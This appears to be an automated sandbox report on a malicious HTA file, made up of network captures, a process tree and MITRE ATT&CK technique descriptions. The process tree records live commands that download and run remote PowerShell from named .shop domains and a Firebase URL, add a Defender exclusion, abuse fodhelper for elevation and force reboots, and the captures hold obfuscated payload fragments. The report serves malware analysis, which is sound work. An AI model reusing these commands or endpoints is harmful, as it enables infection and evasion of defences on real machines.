2024-12-12 11:57:01 UTC	2646	IN	Data Raw: 2f 2f 2f 2f 2f 2f 5f 7d 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 5c 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 2e 61 74 22 29 20 2d 50 61 74 68 20 28 22 24 7b 5f 5c 5c 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 5f 7d 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 5c 63 24 7b 5f 74 78 5f 7d 22 29 0d 0a 52 65 6e 61 6d 65 2d 49 74 65 6d 20 2d 4e 65 77 4e 61 6d 65 20 28 22 24 7b 5f 5c 5c 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 5f 7d 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 5c 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c Data Ascii: //////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.at") -Path ("${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\c${_tx_}")Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49777	93.127.200.211	443	5268	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:57:33 UTC	83	OUT	GET /a/08/150822/au/au HTTP/1.1 Host: contablefea.shop Connection: Keep-Alive
2024-12-12 11:57:33 UTC	321	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:57:33 GMT Server: Apache/2.4.58 (Ubuntu) Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests Last-Modified: Tue, 19 Nov 2024 13:09:39 GMT ETag: "d96-62743bee16ac0" Accept-Ranges: bytes Content-Length: 3478 Connection: close
2024-12-12 11:57:33 UTC	3478	IN	Data Raw: 23 20 56 65 72 69 66 69 63 61 72 20 73 65 20 6f 20 4f 75 74 6c 6f 6f 6b 20 65 73 74 c3 a1 20 69 6e 73 74 61 6c 61 64 6f 20 61 6e 74 65 73 20 64 65 20 65 78 65 63 75 74 61 72 20 6f 20 72 65 73 74 61 6e 74 65 20 64 6f 20 73 63 72 69 70 74 0d 0a 74 72 79 20 7b 0d 0a 20 20 20 20 24 6f 75 74 6c 6f 6f 6b 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 2d 43 6f 6d 4f 62 6a 65 63 74 20 4f 75 74 6c 6f 6f 6b 2e 41 70 70 6c 69 63 61 74 69 6f 6e 0d 0a 7d 20 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 57 72 69 74 65 2d 45 72 72 6f 72 20 22 4f 75 74 6c 6f 6f 6b 20 6e c3 a3 6f 20 65 73 74 c3 a1 20 69 6e 73 74 61 6c 61 64 6f 20 6f 75 20 6e c3 a3 6f 20 66 6f 69 20 65 6e 63 6f 6e 74 72 61 64 6f 20 6e 6f 20 73 69 73 74 65 6d 61 2e 22 0d 0a 20 20 20 20 65 78 69 74 20 31 20 20 23 20 49 Data Ascii: # Verificar se o Outlook est instalado antes de executar o restante do scripttry { $outlook = New-Object -ComObject Outlook.Application} catch { Write-Error "Outlook no est instalado ou no foi encontrado no sistema." exit 1 # I

Target ID:	0
Start time:	06:55:56
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\copia111224mp.hta"
Imagebase:	0x30000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	06:55:59
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\curl.exe" -o "C:\Wins32Update_\up.cmd" "https://firebasestorage.googleapis.com/v0/b/ola445.appspot.com/o/bt?alt=media&token=a5082314-a2a5-435c-8ef5-198776034a00"
Imagebase:	0xae0000
File size:	386'560 bytes
MD5 hash:	4329254E74AD91D047E3CEDCC7C138C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:55:59
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff63d780000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:56:00
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" "
Imagebase:	0xd80000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:56:00
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff63d780000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:56:00
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') "
Imagebase:	0xd80000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:56:00
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -nop -win 1
Imagebase:	0xa80000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:56:14
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\computer_zayqgx5_K.cmd" "
Imagebase:	0x7ff7ff780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:56:14
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff63d780000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:56:14
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/up/up') "
Imagebase:	0x7ff7ff780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:56:14
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -nop -win 1 -
Imagebase:	0x7ff7c7fc0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:56:34
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\shutdown.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\shutdown.exe" /r /t 10
Imagebase:	0xb30000
File size:	23'552 bytes
MD5 hash:	FCDE5AF99B82AE6137FB90C7571D40C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:56:37
Start date:	12/12/2024
Path:	C:\_nczuwk7_H\_nczuwk7_Hi7.exe
Wow64 process (32bit):	true
Commandline:	"C:\_nczuwk7_H\_nczuwk7_Hi7.exe"
Imagebase:	0x1a0000
File size:	15'936 bytes
MD5 hash:	4AFCAB972E98ECBF855F915B2739F508
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:56:37
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff63d780000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:56:37
Start date:	12/12/2024
Path:	C:\Windows \System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows \System32\fodhelper.exe"
Imagebase:	0x7ff7a72b0000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:56:37
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8828 -s 1196
Imagebase:	0x1c0000
File size:	482'640 bytes
MD5 hash:	40A149513D721F096DDF50C04DA2F01F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:56:37
Start date:	12/12/2024
Path:	C:\_nczuwk7_H\_nczuwk7_Hi7.exe
Wow64 process (32bit):	true
Commandline:	"C:\_nczuwk7_H\_nczuwk7_Hi7.exe"
Imagebase:	0x1a0000
File size:	15'936 bytes
MD5 hash:	4AFCAB972E98ECBF855F915B2739F508
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:56:37
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff63d780000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:56:38
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_nczuwk7_H"
Imagebase:	0xa80000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:56:38
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff63d780000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:56:38
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 9072 -s 1208
Imagebase:	0x1c0000
File size:	482'640 bytes
MD5 hash:	40A149513D721F096DDF50C04DA2F01F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:56:38
Start date:	12/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7e4330000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	06:56:59
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\computer_nczuwk7_H.cmd" "
Imagebase:	0x7ff7ff780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:56:59
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff63d780000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:56:59
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/up/up') "
Imagebase:	0x7ff7ff780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:56:59
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -nop -win 1 -
Imagebase:	0x7ff7c7fc0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:57:07
Start date:	12/12/2024
Path:	C:\Windows\System32\shutdown.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\shutdown.exe" /r /t 10
Imagebase:	0x7ff6a1250000
File size:	28'160 bytes
MD5 hash:	F2A4E18DA72BB2C5B21076A5DE382A20
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:57:15
Start date:	12/12/2024
Path:	C:\_nczuwk7_H\_nczuwk7_H.exe
Wow64 process (32bit):	true
Commandline:	"C:\_nczuwk7_H\_nczuwk7_H.exe" C:\_nczuwk7_H\_nczuwk7_H.at
Imagebase:	0xbd0000
File size:	947'288 bytes
MD5 hash:	0ADB9B817F1DF7807576C2D7068DD931
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000022.00000003.153580650154.000000000407D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000022.00000003.153581335000.0000000004076000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000022.00000003.153580423847.0000000003F6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000022.00000003.153580893069.0000000004077000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000022.00000003.153583371908.0000000003B25000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000022.00000003.153582564298.000000000418B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000022.00000003.153582817502.0000000003C37000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000022.00000003.153581113721.0000000004181000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000022.00000003.153581536572.0000000003E5B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000022.00000003.153581918930.0000000003F68000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	06:57:31
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\computer_nczuwk7_Hy.cmd" "
Imagebase:	0x7ff7ff780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	06:57:31
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff63d780000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	06:57:31
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/au/au') "
Imagebase:	0x7ff7ff780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:57:31
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -nop -win 1 -
Imagebase:	0x7ff7c7fc0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	06:57:33
Start date:	12/12/2024
Path:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding
Imagebase:	0x7ff617740000
File size:	42'157'856 bytes
MD5 hash:	6BE14F2DEA2AB6B01387EC38C4977F4F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

